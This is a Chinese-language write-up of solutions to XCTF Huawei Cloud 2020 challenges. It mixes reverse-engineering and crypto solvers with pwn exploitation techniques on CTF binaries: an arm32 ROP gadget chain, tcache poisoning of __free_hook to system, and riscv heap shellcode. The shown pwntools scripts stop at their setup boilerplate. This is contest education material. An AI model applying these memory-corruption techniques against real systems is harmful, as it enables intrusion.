Category - XCTF华为云专场2020

arm32简单栈溢出,就是找gadget花了点时间。搜索不到可以设置r0的gadget。
观察到0x104d8是程序已有的printf逻辑

  1. .text:000104D0 LDR R3, =(aInput - 0x104DC) ; "input: "
  2. .text:000104D4 ADD R3, PC, R3 ; "input: "
  3. .text:000104D8 MOV R0, R3 ; format
  4. .text:000104DC BL printf
  5. .text:000104E0 SUB R3, R11, #-buf
  6. .text:000104E4 MOV R2, #0x300 ; nbytes
  7. .text:000104E8 MOV R1, R3 ; buf
  8. .text:000104EC MOV R0, #0 ; fd
  9. .text:000104F0 BL read
  10. .text:000104F4 MOV R3, #0
  11. .text:000104F8 MOV R0, R3
  12. .text:000104FC SUB SP, R11, #4
  13. .text:00010500 POP {R11,PC}

这里printf是从r3获取参数的,然后我们可以搜到一条设置r3的gadget,0x10348:pop {r3, pc}。
将r3设置为got地址,然后跳到上面10

playfair古典密码,online brute force即可
enter image description here
flag{YESMAYBEYOUCANRUNANARMPE}

逻辑和上一题类似,但是不再有栈溢出,而是echo >echo >>功能存在越界,用echo >的时候会把off成员变量设置成写入内容大小,用echo >>的时候没有检查off+size是否越界,可以直接进行栈溢出。libc是2.27的版本,可以直接堆溢出进行tcache posion改写freehook为system。

注意这里没有aslr,用户态泄露的libc地址是0x4000xxxxxx开头的,前面0x4000泄露不出来,可以根据本地用户态启动确定,然后可以直接写死libc地址进行替换freehook操作。

  1. #flag{iNMLBaSM5KTAIIJLO0MV6XxiR8}
  2. from pwn import *
  3. import re
  4. context.terminal = ['tmux', 'splitw', '-h']
  5. context.arch = 'amd64'
  6. context.log_level = "debug"
  7. env = {'LD_PRELOAD': ''}
  8. if len(sys.argv) == 1:
  9. p = process('')
  10. elif len(sys.argv) == 3:
  11. p = remote(sys.argv[1], sys.argv[2])
  12. se = lambda data :p.send(data)
  13. sa = lambda delim,data :p.sendafter(delim, data)
  14. sl = lambda data :p.sendline(data)
  15. sla = lambda delim,data :p.sendlineafter(delim, data)
  16. sea = lambda delim,data :p.sendafter(delim, data)
  17. rc = lambda numb=4096 :p.recv(numb)
  18. ru = lambda delims, drop=True :p.recvuntil(delims,

riscv64的题目,用ghidra可以直接反编译,漏洞点在echo的函数里面:创建文件满了0x30个,再次echo会读入0x200个字节,但栈上空间只有0x100左右,造成栈溢出。分配chunk的时候也没有初始化操作,所以重新分配tcache的chunk的时候可以泄露heap上面的指针。
花了很多时间在搞系统态模拟的环境,最后搞了fedara的riscv环境,调试起来比较顺手,在系统态模拟环境下是有nx的,还浪费了很多时间想rop。结果试一下打远程,根本就是用户态启动,没有nx没有aslr。把shellcode写到堆上面溢出盖返回地址直接就能跳上去了。

  1. #flag{bm08elDkEvWnZjJZOwPEkr1Vfk}
  2. from pwn import *
  3. import re
  4. context.terminal = ['tmux', 'splitw', '-h']
  5. context.arch = 'amd64'
  6. context.log_level = "debug"
  7. env = {'LD_PRELOAD': ''}
  8. if len(sys.argv) == 1:
  9. p = process('')
  10. elif len(sys.argv) == 3:
  11. p = remote(sys.argv[1], sys.argv[2])
  12. se = lambda data :p.send(data)
  13. sa = lambda delim,data :p.sendafter(delim, data)
  14. sl = lambda data :p.sendline(data)
  15. sla = lambda delim,data :p.sendlineafter(delim, data)
  16. sea = lambda delim,data :p.sendafter(delim, data)
  17. rc = lambda numb=4096 :p.recv(numb)
  18. ru = lambda delims, drop=True :

先用修改版的base64算法decode输入,然后以decode_input为操作步骤,重排九宫...

  1. 初始
  2. 4 0 3
  3. 7 2 6
  4. 8 1 5
  5. 完成
  6. 1 2 3
  7. 4 5 6
  8. 7 8 0
  9. 操作方法
  10. '2'0同上交换
  11. '8'0同下交换
  12. '6'0同左交换
  13. '4'0同右交换
  1. # astar 算法
  2. #coding=utf-8
  3. from __future__ import print_function
  4. import copy
  5. def showMap(array2d):
  6. for x in xrange(0, 3):
  7. for y in xrange(0, 3):
  8. print(array2d[x][y], end='')
  9. print(" ")
  10. print("--------")
  11. return
  12. def move(array2d, srcX, srcY, drcX, drcY):
  13. temp = array2d[srcX][srcY]
  14. array2d[srcX][srcY] = array2d[drcX][drcY]
  15. array2d[drcX][drcY] = temp
  16. return array2d
  17. def getStatus(array2d):
  18. y = 0
  19. for i in xrange(0, 3):
  20. for j in xrange(0, 3):
  21. for m in xrange(0, i+1):
  22. for n in xrange(0, j):
  23. if array2d[i][j] > array2d[m][n]:
  24. y += 1
  25. return y
  26. class Node:
  27. def __init__(self, array2d, g = 0, h = 0):
  28. self.array2d = array2d
  29. self.father

程序需要输入key和flag,key & 0xff作为参数传递进srand,flag按字节异或一连串值,然后调用42*42次rand函数,rand函数返回的值+1 & 0xff作为系数,最后可以化简为42*42的矩阵乘以异或后的flag,求出的结果如果和output.txt的值一样就为正确解。
方法:爆破255次随机数种子,获取42*42次rand返回的值,然后用z3-solver求解,最终得到的种子是82。

  1. // get 42 * 42 rand()
  2. // gcc exp.c -o exp
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5. int main(){
  6. // if brute i = 1; i < 256; i++
  7. for(unsigned int i=82;i<83;i++){
  8. srand(i);
  9. printf("%d -> ", i);
  10. for(int j=0;j<42*42;j++){
  11. printf("%d, ", (rand() + 1)&0xff);
  12. }
  13. printf("\n");
  14. }
  15. }
  1. from z3 import *
  2. import subprocess
  3. from subprocess import Popen
  4. output = [775008, 736965, 579982, 832102, 739711, 689694, 621261, 786007, 687380, 870278, 671072, 705346, 695702, 726075, 693811, 726115, 797388, 839688, 798029, 773858, 732406, 632966, 740936, 775656, 710214, 858672, 686622, 608896, 815068, 521720, 693197, 560581, 885102, 635306, 732285, 770318, 702253, 632762, 839978, 813599, 651986, 87570

re文件偏移0x375e开始为一大段base64 encode后的字串,decode得到的dll文件开头几个字节为C7 1C 71 C7 1C 71,修改成4D 5A就能拖进ida分析。
给了密钥和密文,AES ECB解密即可得到flag。

  1. from Crypto.Cipher import AES
  2. s = 0xE799D643453FF4B5.to_bytes(8, 'little') + 0x46C42084AA2A1B56.to_bytes(8, 'little')
  3. key = 0x16157E2B.to_bytes(4, 'little') + 0xA6D2AE28.to_bytes(4, 'little') + 0x8815F7AB.to_bytes(4, 'little') + 0x3C4FCF09.to_bytes(4, 'little')
  4. helper = AES.new(key, AES.MODE_ECB)
  5. print(helper.decrypt(s))
  6. b'flag{youcangues}'

flag{youcangues}

https://bitbucket.org/renorobert/core2elf/src/master/,用core2elf从crash还原elf文件。elf给了8个md5,每个md5都是4个字符的hash值,最后爆破出这8*4个字符再异或0x17就为flag。

  1. #coding=utf-8
  2. from hashlib import md5
  3. import string
  4. cmp = ["bf2b36d56f5757c13cad80494b385e78",
  5. "3fe9dbae5dc4408350500affa20074aa",
  6. "1fa6770eca6b57e47a042ffe52eca8ff",
  7. "1aad6b7da1122b4b5a53bf5a4d3b11b0",
  8. "e7b77d9e0ab19fc9ea98154f994fccc5",
  9. "75d9128cfeb61b8949664f6a067f6469",
  10. "d8b0a52c64d6075017b7346140550c46",
  11. "306529c7cdedfb06e27b39f7b2babf4d"]
  12. dic = string.ascii_letters + string.digits
  13. dic = list(dic.encode())
  14. for a in dic:
  15. for b in dic:
  16. for c in dic:
  17. for d in dic:
  18. s = [a, b, c, d]
  19. s = [_ ^ 0x17 for _ in s]
  20. res = md5(bytes(s)).hexdigest()
  21. if res in cmp:
  22. print(res, bytes(s))
  23. '''
  24. 结果
  25. 1aad6b7da1122b4b5a53bf5a4d3b11b0 b'v\x7fut'
  26. d8b0a52c64d6075017b7346140550c46 b's.v|'
  27. 1fa6770eca6b57e47a042ffe52eca8ff b'~{c|'
  28. 75d9128cfe

首先穷举通过pow,然后上传elf至服务器运行,elf成功爆破并输出后四位密钥服务器就打印flag

  1. // elf
  2. // aarch64-linux-gnu-gcc exp.c -I /openssl_path/openssl-aarch64/install/include/ -L /openssl_path/openssl-aarch64/install/lib -lssl -lcrypto -o exparm
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include "openssl/aes.h"
  7. #define BLOCK_SIZE 16
  8. void print_data(const char *tittle, const void* data, int len);
  9. int main( )
  10. {
  11. unsigned char dic[62] = {97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57};
  12. unsigned char aes_key[16] = {0};
  13. unsigned char cmp[32] = {0};
  14. unsigned char cmp_unhex[16] = {0};
  15. unsigned char input[44] = {0};
  16. scanf("%s", &input);
  17. for(int i=0;i<12;i++){
  18. aes_key[i] = input[i];
  19. }
  20. for(int i=0;i<32;i++){

dump出3个迷宫,数字3为起点,数字4为终点

  1. # coding=utf-8
  2. [1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
  3. [1, 1, 1, 1, 1, 0, 3, 0, 1, 0, 0, 0, 0, 0, 0]
  4. [1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0]
  5. [1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0]
  6. [1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0]
  7. [1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0]
  8. [1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0]
  9. [1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0]
  10. [1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0]
  11. [1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0]
  12. [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
  13. [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
  14. [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
  15. [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
  16. [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
  17. 's'*7 + 'd'*7 + 's'
  18. ----------------------
  19. [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
  20. [1, 1, 0, 3, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0]
  21. [1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0]
  22. [1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0]
  23. [1,
    Page 1 of 2